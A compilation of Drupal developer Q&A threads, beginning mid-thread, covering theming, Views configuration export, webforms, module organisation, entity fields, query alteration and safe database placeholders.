                $(".switch").removeClass('b-container__left-side').addClass('b-container-block-left');
            } else {$(".switch").removeClass('b-container-block-left').addClass('b-container__left-side');
                }
        });
    });
})(jQuery, Drupal, this, this.document);

Added styles to theme subtheme/css/subtheme_style.css

.b-container__left-side {
  position: absolute;
  top: 52px;
  left: -300px;
  height: calc(100% - 52px);
  height: -moz-calc(100% - 52px);
  width: 300px;
  z-index: 1006;
  display: block;
  -webkit-transition-duration: 0.8s;
  -moz-transition-duration: 0.8s;
  -o-transition-duration: 0.8s;
  transition-duration: 0.8s;
}

.b-container-block-left {
  width: 300px;
  float: left;
  height: 97vh;
  margin-top: 0;
  border: none;
  background: #fff;
}

.b-left-side {
  height: 100%;
  overflow: auto;
}

.b-left-side__pointer:hover {
  cursor: pointer;
}

.b-left-side__pointer {
  position: absolute;
  bottom: 20px;
  left: 300px;
  width: 25px;
  height: 90px;
  border-bottom-right-radius: 3px;
  border-top-right-radius: 3px;
  background-color: #fff;
  box-shadow: 0 1px 5px rgba(0, 0, 0, 0.65);
  z-index: -1;
}

.b-left-side__pointer p {
  transform: rotate(-90deg);
  transform-origin: left top 0;
  -webkit-transform: rotate(-90deg);
  -webkit-transform-origin: left top 0;
  margin: 80px 0 0 0;
  font-family: WWF;
  font-size: 16px;
  letter-spacing: 1px;
  text-transform: uppercase;
}

Added to the end of the subtheme file  subtheme/templates/page.tpl.php (the file is copied from a folder of Bootstrap theme themes/bootstrap/templates/system/page.tpl.php)

<?php if (!empty($page['l_sidebar'])): ?>

        <?php print render($page['l_sidebar']); ?>

Block

<?php endif; ?>

Add to subthemes info file the following lines:

regions[l_sidebar] = 'Left sidebar'
stylesheets[all][] = css/subtheme_style.css
scripts[] = js/script.js

The subject area  "Block" appeared but it does not respond on clicking.

Please set z-index to solve it.

.b-left-side__pointer {
  z-index: 1;
}

Also, I have some advices for your code.

make use of Drupal behaviors instead of $(document).read()
use jQuery.once() to prevent event binding multiple times, it would happen if your page contains ajax.
use jQuery.toggleClass() to simplify the complexity of logic.

(function ($, Drupal, window, document, undefined) {
    Drupal.behaviors.sub_theme = {
        attach: function(context, settings) {
            $(".b-container__left-side", context).once('b-left-side', function() {
                $(".b-left-side__pointer", this).click(function(){
                    $(this).toggleClass('show');
                });
            });
        }
    }

})(jQuery, Drupal, this, this.document);

You need to change your CSS and also class name on HTML. I can't give opinion with that due to lack of information of your requirement.


How to be sure that views are saved? I just had a terrible learning experience. I spent several days building up a bunch of views, only to find that they vanished entirely from my site when I synchronized my configurations to handle another issue. They're gone. I have a dump of the db, but they're not on there either.
The funny thing is that not all of the views are gone. Some that I made several weeks ago are there, but the more recent ones are irrevocably lost.
And yes, I clicked "Save" on each view when I was creating it.
How can I be sure that this never happens again? What steps do I need to take save the views permanently in the db?
Version: Drupal 8.9.6

Shawn Conn's answer is what I needed. Going forward, I will now make it part of my routine to take snapshots of my configuration with drush cex and commit the changes. My mistake was believing that the views would be saved in the database.


Multisteps Webform loses current page when refreshing browser I've created a Webform with three steps. When I refresh the browser (F5) on step 1 and 2, I correctly remains in the same page.

If I do the same in step three, I go back to step 2. For ALL the steps > 2, when I refresh the page I go back to step 2.

I tried to change same Webform settings ("Allow cookies for tracking submissions" and "Automatically save as draft between pages"), but with no results.

I'm using an anonymous user to browse the Webform's pages.

Anyone has a solution?

For this purpose I use Multi-step forms module. This does all the heavy lifting for you. It allows you to use a session storage so if the page gets refreshed or the browser gets closed, it saves the current step.
Multi-step forms:

Mforms module is a set of tools that help to create advanced multistep forms in Drupal. It can be modified and extended so a developer has full control of the way how individual form steps will be handeled, how and where will data be between form steps stored, which step will follow, how form controls will act and how the output will be displayed.
The main differences from existing multistep solutions for Drupal are robustness, flexibility and extensibility. You can even dynamically change the steps sequence and jump from one step to another regardless of their order.
Read documentation.


File structure for custom modules in Drupal 7 I want to organize non-core (modules that are not bundled with core) modules in Drupal 7. This is my proposed structure:

Contributed modules - downloaded modules that are untouched
Custom modules - downloaded modules that are modified to suit the requirement
local modules - self-developed modules

I GUESS, the best approach for this is to make three folders within sites/all/modules like below:

sites/all/modules/contrib
sites/all/modules/custom
sites/all/modules/local

Now, there are two ways to install a module:

Manually
From the admin panel

While installing the new module manually, everything is fine. I can just go to the directory and place the module there.

But how to install a newly downloaded module in sites/all/modules/contrib from admin-panel?
Moreover, is there any better approach for organizing non-core modules?

Keeping your modules folder clear is important part of development. This is my common structure:

contrib — modules from Drupal.org
custom — modules developed for this project
features — exported features for Features-driven development
unstable — sandbox, forked, unstable, patched modules

Here are some examples how to organize patches/forks:

Drupal Boilerplate from Lullabot
A sustainable development workflow for patching drupal from Jennifer Lea Lampton
Drush Make workflow from @Letharion
Managing patches & getting your drupal patch accepted from Greg Knaddison

  But how to install a newly downloaded module in `sites/all/modules/contrib from admin-panel.

Use Drush please.

drush dl views rules # will download Views and Rules into sites/all/modules/contrib automatically if contrib folder exists.

You also can specify --destination where to download project.


How do I create a conditional form field? I have this dropdown menu of options in the user registration page of my site (image shown below), and i want when the user selects the employer, some text fields appear, like name of company, and when they select job seeker, the text field that appears asks for things like uploading CV.

I have conditional fields module installed but it does not cater for user registration form (image shown below) .

Is there a way to add the user registration form to be one of the options that conditional fields module offers? I have followed each of those links and none of them is helpful.:(

Lastly, in the account type drop down image shown above, I want to filter out the administrator, anonymous user and authenticated user options such that the user only creates either an employer account or job seeker account. Any ideas how i can do that?

You can do this using taxonomy terms.  A warning though ... taxonomy worked terribly due to the amount of conditional items.  For my situation, user selected a state, then the town it took about a minute for each selection.

Does this help?  http://www.webbykat.com/2013/04/conditional-fields-and-term-reference-tree-two-small-bugs-their-resolution

I'm assuming you have this Drupal 7 module?  https://www.drupal.org/project/conditional_fields


Other users cannot view content published to front page why can't other users view content posted by user? Where can I find this permission issue?

Go to admin/people/permissions and ensure that "View published content" under the title "Node" is selected.

Also, if using OG go to admin/config/group/context and ensure that "Node" is enabled, and that if you have "Content" under admin/config/group/permissions that these permissions are also correctly selected.

Also ensure that the node you want all users to see has the two checkboxes Published and Promoted to front page checkbox ticked. You find these under "Publishing options" when you edit the node as the administrator.

The defaults for these are set per content type. If a user that is not the administrator is creating content, these must be set by default for the type. The built-in content type "Article" has these checked by default, so the user should create article of type "Article" (or another type that has these two boxes checked by default) for the article to be visible on the front page for non-admin users.


How to attach a module to a drupal article? I have a php function in a drupal module. This function outputs some random text. I want to attach this module to a Drupal article so that each time someone creates an article, random text will appear in it. How can I do this?

For example, my module named custom2, so:

<?php

function custom2_random_text(){
    return 'random-text';
}

function custom2_node_presave($node){
    //check for our node type if needed
    if($node->type == 'article')
        //assign value
        $node->body['und'][0]['value'] = custom2_random_text();
}

hook only works for Article content type
custom2_random_text - returns random text
custom2_node_presave - implementation of hook_node_presave

  function hook_node_presave

  7 node.api.php    hook_node_presave($node)

  Act on a node being inserted or updated.

  This hook is invoked from node_save() before the node is saved to the
  database.

Note how hooks in Drupal works. You are implementing hook_node_presave in your_module.module via replacing hook word by your module's name.

If you in doubt about structure of some entity on your site I should recommend you to use Devel module.

For first step you can implement hook_node_view and in code of your implementation use dpm($node) - it is Devel module function that will display node structure when node is displaying.

For my example:

function custom2_node_view($node, $view_mode, $langcode){
  dpm($node);
}


How to file_save_data with utf encoding? file_save_data is saving files with ANSI encoding. I want utf8. How can I specify encoding?

you do it with UTF8 add BOM

file_put_contents($File_name, "\xEF\xBB\xBF".  $content);


How to use field_attach_update for users I have read this post fast saving single field value about how to use field_attach_update to save nodes without the overhead of node_save().

I would like to use this for users (which it should work for, as per https://api.drupal.org/api/drupal/modules%21field%21field.attach.inc/function/field_attach_update/7) . However, I'm not sure how to apply the examples to users.

Currently, this is my code:

if (isset($uid)) {
    $user = user_load($uid);
    $user_og_groups = $user->og_user_node[LANGUAGE_NONE];
    $user_committee_positions = $user->field_committee_position_serno[LANGUAGE_NONE];
    $user_data = my_module_import_user($cust_info, $cust_attributes, $drupal_countries, $employers);
    $user = user_save($user, $user_data);
  }

The $user_data variable is an array of data, which is what user_save expects (https://api.drupal.org/api/drupal/modules%21user%21user.module/function/user_save/7). user_save() doesn't work exactly the same as node_save() and doesn't accept a user object.

How then can I use field_attach_update to programmatically update users?

I don't know your function my_module_import_user return right data? I think user_save() work fine. You can try

if (isset($uid)) {
  $account = user_load($uid);
  $edit = array();
  $edit['field_FIELD_NAME'][LANGUAGE_NONE][0]['value'] = 'Field Value';
  // add more data
  user_save($account, $edit);
}

if you want use field_attach_update

if (isset($uid)) {
  $account = user_load($uid);
  $account->field_FIELD_NAME[LANGUAGE_NONE][0]['value'] = 'Field Value';
  // add more data
  field_attach_update('user', $account);
}

And my way, i often use Entity metadata wrappers

if (isset($uid)) {
  $account = user_load($uid);
  $wrapper = entity_metadata_wrapper('user', $account);
  //Set data of field
  $wrapper->field_FIELD_NAME->set('Field Value');
  // set more data here
  $wrapper->save();
}


Notice: Undefined index: #ajax in ajax_form_callback() (line 391 of /var/www/html/includes/ajax.inc) I'm having an a field set as unlimited in the options in my custom content type, whenever I'm clicking on "Add another item" the page is only loading AJAX and I'm getting this message in error log :

  Notice: Undefined index: #ajax in ajax_form_callback() (line 391 of /var/www/html/includes/ajax.inc).

Note: Though I haven't saved/updated the product there is also a message in dblog that node has been updated. This issues was not their previously until I updated my drupal version from  7.22 to 7.32 using drush

Found the solution for this issue in my case was with the max_input_vars which was occurring on Windows machine.

Go to C:\xampp\php (the path where you have installed your WAMP or
XAMPP).
Open the php.ini, the configuration file located there.
Approx on line 475 there would be max_input_vars = 1000 change that as per your need. In my case 1500 worked for me.

Note: I'm not sure increasing max_input_vars is a good practice, I have done that as I was having more than 10K fields in a single form. Still for those who are looking for an alternate solution in their development phase can opt this solution for time being.


Add node week count? Drupal just stores the day count and the total count. Is there a way to give a week count to the node?

ps: i want to show a node title list.the sort creteria is decending the most viewsd in a week. by defaule Drupal just stores the day count and the total count. there is no week count.

could i use this: i add a node created time in a sql query which where clause is less than  time()-24*7 like this where node time created < time()-24*7)then i use the total node count. then descending the result. the node title show will be the same as the week count. am i right? if right, how to put the sql query to views sort creteria .

You can use this not so well maintained module Statistics Granularity or learn how to do it yourself with this blog post: Advanced statistics for Drupal: most viewed nodes in a week, month, ...


How to remember the selected foo before and after a registration process? I have a view with 50 objects available for anonymous members.

I the user clicks "Yes, i want to see more of this nice foo" he should register himself with only a email and/or password or even only a email is enough. Then a rule is needed to run and adds the role of member to the user.

The member should now be returned to the selected foo/row.

How to remember the selected foo before starting the registration process starts so I can redirect the user the foo correctly?

Any suggestions great appreciation.

I tried a lot of things with logintoboggan but the unauthenticaed role makes it diffecult for other modules to make well. So if you try to establish this with logintoboggan you are implicied chosing for modules which are only compatible with the adjustment of the login system. Something I do not prefer.

I solved it with the following modules:

Email_registration          fo the username is not needed anymore
GenPas                      for generating a auto password and direct login
Persistent login            for login in for a long time
User email verification     for verify the email
nocurrent_pass              for remove password edit’s profile
email_confirm               when user changes email

When a anonymous gets on the site reqistrating is posssible with only email. With a rule you give the person a role. After that you can do what you like. If the person does not have a role yet and clicks on the link for premium content, you just append the unique id to the registration url and after registration a redirect can pick this up, the person is then verified with a first pre member role.

You send all pre member roles an email with user email verification. If this is verified u can use a rule to upgrade the role. You now have a full registrated process without have the disadvanced of logintobboggan concept and in line with tha fact that no passwords are send by email.


How do you search for duplicate urls? I have a problem with my navigation menu which may be related to a duplicate url.  A view or or other module may be creating the same url and a different view/module.  At this point, I do not know what the duplicate url is.  How would I search my site for duplicate or conflicting urls?  is there a module for that?

Would XML sitemap list duplicate urls?

You can use the PHP function menu_get_item('path/in/question') to determine more about what module is responding to the url.

If the path is an alias, you may need to use drupal_get_normal_path($alias).

So if you use drush, you might run

drush ev "print_r(menu_get_item(drupal_get_normal_path('path/in/question'))"

That should return an array, which will likely have a 'page callback' element which will tell you the function (and hence, the module) that is handling that url.


Where do I set which template file to use for a block? I know I can just override block.tpl.php using the normal template system. But is there a way to set the tpl file when I define a block in my module ?

I thinking of an equivalent to this:

function theming_example_theme() {
  return array(
    'theming_example_text_form'  => array(
      'render element' => 'form',
      // In this one the rendering will be done by a tpl.php file instead of
      // being rendered by a function, so we specify a template.
      'template' => 'theming_example_text_form',
    ),
  );
}

Most of the times I just do

$block['subject'] = t('My block title');
$block['content'] = theme('my_custom_theme', $block_content);

return $block;

from hook_block_view() function if you're making a module that creates a block. The theme function my_custom_theme can use a template file such as my-custom-theme-block.tpl.php. Also you can suggest theme hooks through hook_preprocess_block. Just check for the delta of your own block and set a theme hook there.

function HOOK_preprocess_block(&$vars) {
  if ($vars['block']->delta == 'my-block-delta') {
    $vars['template_suggestions'][] = 'my-custom-theme-block';
  }
}


Text (plain, long) automatically has line break converted to I have created a field Text(plain, long) and have a custom template
which currently only outputs this field.

{{ content.field_testing }}

When the output is rendered, all the line breaks are converted to <br> I need  to remove. I could add some filters but I figure there must be a way to prevent it in the first place. How can I do this?

Since you are using a custom template, the quicker way is just to use the replace() filter.

{{ content.field_testing|replace({'
': '', '
': ''}) }}

The field formatter used in the case of a plain text field doesn't have settings, so you cannot decide if the formatter should output the
 tags you want to remove. It would probably make sense in few cases, especially if you need to replace those
 with other text, but somebody could argue that if you don't need them, you could just avoid entering new lines in the field.

The alternative would be implementing a different field formatter, but this is not as quicker as using a filter. If you just need this for this exact purpose, it sounds a bit excessive.


Show content on specific page Am I able to add the following field to a content type, so that each piece of content I create can be conditioned to a page?

Or is there a module to extend Publishing Options, where by it adds all the pages I have created (just like 'Promote to Front Page')?
If not, why is no one doing this? As a new user to Drupal this seems like it would be a handy operation. (I have already tried this module but it doesn't achieve the results I'm after).

If none of these solutions are available, what would be the best alternative way of doing this?

First, you start with defining what are the rules of showing this content to the user. There are many ways how to deal with such a thing, but it all depends on the rules. I do recommend to create such rules, otherwise you will run into unmaintanable mess.

If you have less than 10 or so occurences

You can use the bean module (http://drupal.org/project/bean) to create specific block types with fields (similar way like creating content types). These blocks you can then expose via the default blocks UI and set the visibility there or you can use context.

If you have more than 10 occurences

You better define rules (logic), when such special content should appear. This way you can have just one logic easily maintainable (which is your goal).

Reference on node?

One way could be, that you create a content type for this content, and add any of the node reference fields (references, relations modules,...) (in case you want to display the content on specific nodes). This way you can always assign a content to another content and then create a block view that will take the argument from current nid and pass it over so you can display all content that has a reference with the same nid or you can attach the view to the entity via eva view.

Path?

I am not seeing any module available so you will have to create your own solution. This might help to get you started

Add a long text field to the content type - this field will allow you to enter path or multiple paths, one path per line
Create a custom module that will be using that field to match the path by using the function drupal_match_path. You can for example create a block, that will output matched content
You can place this block where you want the linked content appear (main content region, sidebar,...) via Drupal blocks UI, or context,... depends what you are using.

This could be a performance killer, if you will have a lot of content that Drupal will need to run through and see if it matches the content visibility, so you should think about some sort of caching, etc...


create panel page for taxonomy term page How to create panel for taxonomy term page using Page Manager in Drupal 8.
I've created page with path /taxonomy/term/{taxonomy_term} but it doesn't work and displays default taxonomy page template.

I was able to get this to work with the latest dev versions of Panels and Page Manager. Here are the key pieces:

Disable the Taxonomy term view.
Set the path on the panels page to /taxonomy/term/%.
Clear cache.
View page at taxonomy/term/{tid}.
I verified that this also works with URL aliases.

One thing to keep in mind: If you use selection conditions (e.g. by Vocabulary), terms that don't satisfy the selection conditions return a 404 (which may or may not be what you want). There is an issue on Drupal.org for providing a default fallback.


How can i Use drupal 8 CMI between two different sites? I think, normally the CMI works between cloned sites, not different sites. Is there any way to do that with CMI ? or still we hardly depends the features module ?

I'm afraid you are right, configuration management is for different instances of a same site. According to the Drupal 8 CMI documentation,

  The Configuration Manager module in Drupal 8 provides a user interface
  for importing and exporting configuration changes between a Drupal
  installation in different environments, such as Development, Staging
  and Production, so you can make and verify your changes with a
  comfortable distance from your live environment.

The same idea appears in this article,

  Perhaps the most important concept to understand is that the
  configuration system is designed to optimize the process of moving
  configuration between instances of the same site. It is not intended
  to allow exporting the configuration from one site to another. In
  order to move configuration data, the site and import files must have
  matching values for UUID in the system.site configuration item. In
  other words, additional environments should initially be set up as
  clones of the site. We did not, for instance, hope to facilitate
  exporting configuration from whitehouse.gov and importing it into
  harvard.edu.


How to alter view query after exposed filter is changed? We have a custom view, myview, that has two exposed filters: country and category. For the country value we have a value that we want to be applied regardless of what is selected as the exposed filter that is not All Countries.

How would we alter the query after a value is selected so that we always append an or country = United States of America to whatever value is selected for the view's query?

Goal:

After the exposed filter has been applied, alter the query such that it will return whatever the user selected AND all other nodes where country = 'United States'.

Country value:

All Countries
Worldwide
United States of America
United Kingdom
France
Germany

What we were thinking of using hook_views_query_alter, but not sure how we can alter the query after a value has been selected.

mymodule.module

use Drupal\views\ViewExecutable;
use Drupal\views\Plugin\views\query\QueryPluginBase;

/**
 * Implements hook_views_query_alter().
 */
function mymodule_views_query_alter(ViewExecutable $view, QueryPluginBase $query) {

  if ($view->id() == 'myview') {
    $or_statement = new Condition('OR');
    $or_statement->condition('field_country', '12', '=');
    $query->addWhere(0, $or_statement);
  }

}

Current filters:

published = yes
content type = article
country (exposed filter, display all, single select)
category (exposed filter, display all, single select)

When using ksm() to print the $condition_group, this is the results. It is not even showing the two exposed filters.

Current Where Clause

10 is the value selected by the user from the exposed filter and 12 is the one we want to add.

WHERE (((node__field_country.field_country_target_id = '10')) AND (node__field_country.field_country_target_id = '12'))

Desired where clause

WHERE (((node__field_country.field_country_target_id = '10')) OR (node__field_country.field_country_target_id = '12'))

Using d70rr3s suggestion and this patch (required), I came across this solution that worked.

use Drupal\views\ViewExecutable;
use Drupal\views\Plugin\views\query\QueryPluginBase;

/**
 * Implements hook_views_query_alter().
 */
function mymodule_views_query_alter(ViewExecutable $view, QueryPluginBase $query) {
   if ($view->id() == 'myview'  && !empty($view->exposed_raw_input['field_country']) && $view->exposed_raw_input['field_country'] !== 'all') {
    // Traverse through the 'where' part of the query.
    foreach ($query->where as &$condition_group) {
      foreach ($condition_group['conditions'] as &$condition) {
        if ($condition['field'] == 'your_entity.field_country') {
          $field = 'node__field_country.field_country_target_id';
          $value = 'somevalue';
          $operator = '=';
          $query->addWhere(2, $field, $value, $operator);
        }
      }
    }
  }
}

Results:

WHERE (((node__field_country.field_country_target_id = '10')) OR (node__field_country.field_country_target_id = 'someValue')) AND (node_field_data.status=1) AND (node_field_data.type='article')

Filter Criteria where #1 and #2 from screenshot had to be applied:


How can I access all values of a multi-value field? I am using Drupal 8 for a project for learning purposes. In my case I want to access to a field which contains multiple values, but I can't find how to do that. For example for a single value field I can access it like this:

kint($variables['node']->field_name->value);

But how can I get all the values of field which allows more than one value?

To get all values of a multi-value field:

$node = $variables['node'];
$values = array();
foreach ($node->field_name->getValue() as $value) {
  if (!empty($value['value'])) {
    $values[] = $value['value'];
  }
}

OR

$node = $variables['node'];
$values = array();
foreach ($node->field_name as $item) {
  if (!empty($item->value)) {
    $values[] = $item->value;
  }
}


Replacement Pattern to get current node url I'm looking for a valid replacement pattern, to get the url of the current node for a custom text in a list of filtered nodes.

Example markup for custom text field:

[title]

Unfortunately, Drupal doesn't show me any useful pattern examples:

I think what you want to do is add "Content: Path" as a field. This is the path to the node.

Make sure the "Exclude from display" box is checked.
After you have added the field, make sure it is above your custom text field (click the arrow next to "Add" and select "Rearrange").
Once, you've done that, [path] will become a replacement token.


I sometimes get the following error message "Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 8 bytes) On my Drupal 7 site once I have around 1500 records associated to a given content type then when viewing any of these nodes instead of seeing the content I sometimes get the following error message "Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 8 bytes) in /www/dev/drupal/includes/cache.inc on line 434".
If I have less than 1500 records for a given content type (i.e. 1000 records) then viewing any of these contents always display without this error.
How can I prevent this error from occurring for a given content type that has at least 1500 records associated to it.

If you work in localhost, change memory_limit in your {php_installation_dir}/php.ini to a higher one.
Otherwise ask your web hosting service to increase the memory limit of the server.
(You can check your PHP memory limit in your Drupal site too: /admin/reports/status)


Where does drupal store content-type display settings? I have several similar sites built by drupal. When I finished configuring one site, I wanna clone first site's setting to others(by importing SQL exported from the first site).But I can't find where drupal store content-type(ex:article)'s display setting in mysql?

By Default it stores in field_config_instance table.. For relevant code check below function in field.crud.inc file

function _field_write_instance($instance, $update = FALSE) {
  $field = field_read_field($instance['field_name']);
  $field_type = field_info_field_types($field['type']);

  // Set defaults.
  $instance += array(
    'settings' => array(),
    'display' => array(),
    'widget' => array(),
    'required' => FALSE,
    'label' => $instance['field_name'],
    'description' => '',
    'deleted' => 0,
  );

  // Set default instance settings.
  $instance['settings'] += field_info_instance_settings($field['type']);

  // Set default widget and settings.
  $instance['widget'] += array(
    // TODO: what if no 'default_widget' specified ?
    'type' => $field_type['default_widget'],
    'settings' => array(),
  );
  // If no weight specified, make sure the field sinks at the bottom.
  if (!isset($instance['widget']['weight'])) {
    $max_weight = field_info_max_weight($instance['entity_type'], $instance['bundle'], 'form');
    $instance['widget']['weight'] = isset($max_weight) ? $max_weight + 1 : 0;
  }
  // Check widget module.
  $widget_type = field_info_widget_types($instance['widget']['type']);
  $instance['widget']['module'] = $widget_type['module'];
  $instance['widget']['settings'] += field_info_widget_settings($instance['widget']['type']);

  // Make sure there are at least display settings for the 'default' view mode,
  // and fill in defaults for each view mode specified in the definition.
  $instance['display'] += array(
    'default' => array(),
  );
  foreach ($instance['display'] as $view_mode => $display) {
    $display += array(
      'label' => 'above',
      'type' => isset($field_type['default_formatter']) ? $field_type['default_formatter'] : 'hidden',
      'settings' => array(),
    );
    if ($display['type'] != 'hidden') {
      $formatter_type = field_info_formatter_types($display['type']);
      $display['module'] = $formatter_type['module'];
      $display['settings'] += field_info_formatter_settings($display['type']);
    }
    // If no weight specified, make sure the field sinks at the bottom.
    if (!isset($display['weight'])) {
      $max_weight = field_info_max_weight($instance['entity_type'], $instance['bundle'], $view_mode);
      $display['weight'] = isset($max_weight) ? $max_weight + 1 : 0;
    }
    $instance['display'][$view_mode] = $display;
  }

  // The serialized 'data' column contains everything from $instance that does
  // not have its own column and is not automatically populated when the
  // instance is read.
  $data = $instance;
  unset($data['id'], $data['field_id'], $data['field_name'], $data['entity_type'], $data['bundle'], $data['deleted']);

  $record = array(
    'field_id' => $instance['field_id'],
    'field_name' => $instance['field_name'],
    'entity_type' => $instance['entity_type'],
    'bundle' => $instance['bundle'],
    'data' => $data,
    'deleted' => $instance['deleted'],
  );
  // We need to tell drupal_update_record() the primary keys to trigger an
  // update.
  if ($update) {
    $record['id'] = $instance['id'];
    $primary_key = array('id');
  }
  else {
    $primary_key = array();
  }
  drupal_write_record('field_config_instance', $record, $primary_key);
}

It stores in above table data column as blob format... Sample example goes below inside blob..

a:6:{s:5:"label";s:7:"Comment";s:8:"settings";a:2:{s:15:"text_processing";i:1;s:18:"user_register_form";b:0;}s:8:"required";b:1;s:7:"display";a:1:{s:7:"default";a:5:{s:5:"label";s:6:"hidden";s:4:"type";s:12:"text_default";s:6:"weight";i:0;s:8:"settings";a:0:{}s:6:"module";s:4:"text";}}s:6:"widget";a:4:{s:4:"type";s:13:"text_textarea";s:8:"settings";a:1:{s:4:"rows";i:5;}s:6:"weight";i:0;s:6:"module";s:4:"text";}s:11:"description";s:0:"";}


Filling an Entity Reference programatically I am creating a node programatically and one of the fields in the node is an entity reference field referencing a user.

I am using the guide from https://www.drupal.org/node/1388922 and the general consensus i gather is that I need to do something like;

$node->field_customer_nid[$node->language][] = array(
'target_id' => $form_state['values']['entity id'],
'target_type' => 'node',

);

My question is where do i pass the values for the target entity(basically the uid)in that array. Is it the target_id or the entity_id because my attempts with either of those is not working.

You have to specify the entity id and the entity type. The example is referencing a node but you want to reference a user.

Try this:

$node->field_customer_nid[$node->language][] = array(
  'target_id' => $entity_id,
);

$entity_id should hold the referenced entity id.


Entity Registration module: Enable registration by default or programmatically By default, the Entity Registration module disables the registration. We need to enable it everytime a node is created from 'Manage Registrations - Settings' tab. How to automate the process?

I tried changing the 'status' value to '1' in registration_field_info() of registration.field.inc but it didn't work.

Is there a way to do it programmatically, otherwise?

/**
* Implements hook_entity_insert().
*/
function registration_entity_insert($entity, $entity_type) {
  $registration_type = registration_get_entity_registration_type($entity_type, $entity);
  if ($registration_type !== FALSE) {
list($entity_id) = entity_extract_ids($entity_type, $entity);

$settings2 = array(
  'multiple_registrations' => 0,
  'from address' => variable_get('site_mail', ini_get('sendmail_from')),
);

$settings = array(
  'status' => 1,
  'capacity' => 0,
  'send_reminder' => 0,
  'settings' => serialize($settings2),
);

registration_update_entity_settings($entity_type, $entity_id, $settings);
//registration_entity_set_default_settings($entity_type, $entity);
 }
}

References:

http://drupal.org/node/1430870

http://drupal.org/node/1357280


Login with Facebook or Google+ account I want users to be able to log in (signup) in site with their Facebook or Google plus account. But I didn't find anything for Drupal 8.

Is there any module or solution for doing this job or I should downgrade and use Drupal 7 in our project?

This specific signup type is called OpenID. And it allows an external login provider to login users on your site.

You can have a look at OpenID Connect module. Which has a beta version for Drupal 8 available, and according to the module page already ships with a Google implementation.

  OpenID Connect 1.0 is a simple identity layer on top of the OAuth 2.0
  protocol. It allows Clients to verify the identity of the End-User
  based on the authentication performed by an Authorization Server, as
  well as to obtain basic profile information about the End-User in an
  interoperable and REST-like manner.

I am not sure about Facebook, but it might be that is in another contrib module or easy to implement yourself. (I didn't look for it.)


How to hook drupal commerce line item create I want to process something when a new commerce line item create, is there any hook can do this?

Or is there another methods can do this?

Thanks at first!

Yes, you can use

hook_entity_insert()

Act on entities when inserted.

hook_entity_presave()

Act on an entity before it is about to be created or updated.


Remove clearfix from section class in custom theme I'm attempting to edit the template for my pages to allow it to show the content with a block beside it rather than beneath it. I'm currently using bootstrap to lay out my grid.

In my page.tpl.php I have

    <?php print render($page['content']); ?>

    <?php print render($page['sideblock']); ?>

I want the content block and the sideblock to be side by side. However when the page renders it wraps the content block in

I noticed that when I removed the clearfix class to the section tag I was able to display it side by side. But I don't see any method to remove the clearfix class from this.

For Drupal 8, the best approach for this is to just copy the bootstrap/block/block.html.twig template from the bootstrap theme into your custom themes folder, and just remove the 'clearfix' class from the twig classes block.


What steps are necessary to build secure database queries from user input? Example Drupal 6 query:

$q = db_query("SELECT id FROM {table} WHERE no = %d AND name LIKE '%%%s%%'",
               $_GET['something'], $_GET['something_else']);

Example Drupal 7 query:

$q = new EntityFieldQuery();
$q->entityCondition('entity_type', 'some_entity')
  ->propertyCondition('id', $_GET['something'])
  ->fieldCondition('field_name', 'value', '%'.$_GET['something_else'].'%', 'like');

The $_GET values could be anything the user can technically send. Should additional steps be taken like using PHP-s is_numeric function for numbers and db_escape_string() for strings to make sure the input wont cause any harm or are the queries already secure? Does the same count for other Database API functions?

It depends what you mean by "secure." If your goal is just to block sql injection then yes, that's it :) For Drupal 6, be sure you are using the right placeholder based on db_query docs:

  Valid %-modifiers are: %s, %d, %f, %b (binary data, do not enclose in
  '') and %%.

And be sure that you enclose the %s placeholder in ''. Failure to match these properly can lead to sql injection.

Drupal 7 takes care of that for you. Even if you use the Drupal 7 db_query you use placeholders like :name and it will figure out the data type and take care of proper filtering/substitution/quoting for you.

The other security related topic for queries is the node access system. In Drupal 6 you should use db_rewrite_sql. In Drupal 7 be sure to use $query->addTag('node_access'); if you are querying for nodes.

This system of preventing SQL Injection as part of the API is, in my opinion, one of the great features of Drupal. Similar functions that perform both functional and security features are the t() and l() function which will prevent XSS when they are used properly.


Is there a way to export or import individual display views? I am looking for a way to import and export individual Views displays and found this issue on drupal.org, Export/Import individual display views [#1470318].

Has such a functionality available been developed, even through a module?

Not that I know of.

An option. If they’re so similar that you can just do export and reimport to another view, you could keep them on the same view, clone the display, rename the display, override whatever field/filter you need to change and change it.


In a template, is it possible to get the content of a block by the block ID? I am working with some view templates in Drupal 8, and I have the block ID of another view block I want to pull into the template. Is it possible to use the block ID to get the content of a block in a template?

If this is not possible in Twig, how could I achieve this otherwise?

Yes take a look at this module :

  Twig Blocks

https://www.drupal.org/project/twig_blocks

After module install just call the block like this in the template :

{{ render_block('machine_name_of_your_block') }}

Or in a hook :

function hook_preprocess_page(&$variables)
{

    $block = \Drupal\block\Entity\Block::load('id_block');

    $variables['myBlock'] = \Drupal::entityTypeManager()
        ->getViewBuilder('block')
        ->view($block);

}

Then in your twig template :

  {{ myBlock }}


How do you change the URL alias of a contact form? Sounds simple enough, right? I can't find it anywhere. My contact form's path remains:

/contact/contact_us

And I have no idea where to change this. I have checked under the form settings at:

/admin/structure/contact/manage/contact_us

Which leads me to believe that perhaps all contact forms are in the structure:

/contact/[FORM_SYSTEM_NAME]

Is that the case or is it possible to change it?

UPDATE

What I really want is a simple ALIAS field per contact form, so I can set the url alias myself?

I went under Configuration --> URL Aliases, and added a new alias for /contact-us that points to /contact/contact_us

I expected the result to be that anyone typing in /contact-us would end up at /contact/contact_us, but instead the opposite is happening. Anyone typing in /contact/contact_us is now redirected to /contact-us and the page is shown there.

This is a little different from how Drupal 7 works, but this is the answer I needed.


Joins and looking for NULL values I'm using the flag module to let users mark their questions as solved, similar to how it works on this site. I therefore want to let users filter posts to show only unsolved questions. Additionally, some posts might not be questions at all. Therefore, they can't have a "solved" flag, but they also should NOT appear in the results when filtering only by unsolved questions. Therefore, I need to join the node table with two others: flag_content and field_data_field_question (this latter table is what tells whether or not a post is a question).

Here's the current code I'm trying:

$query->join('flag_content', 'f', 'f.content_id = n.nid AND f.content_type = "node" AND f.fid = 5');
$query->join('field_data_field_question', 'q', 'q.entity_id = n.nid AND q.field_question_value = 1');
$query->condition('f.fid', 'NULL', 'IS');
$query->condition('q.field_question_value', 'NULL', 'IS NOT');

However, this results in the following error:

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''NULL') AND (q.field_question_value IS NOT 'NULL')
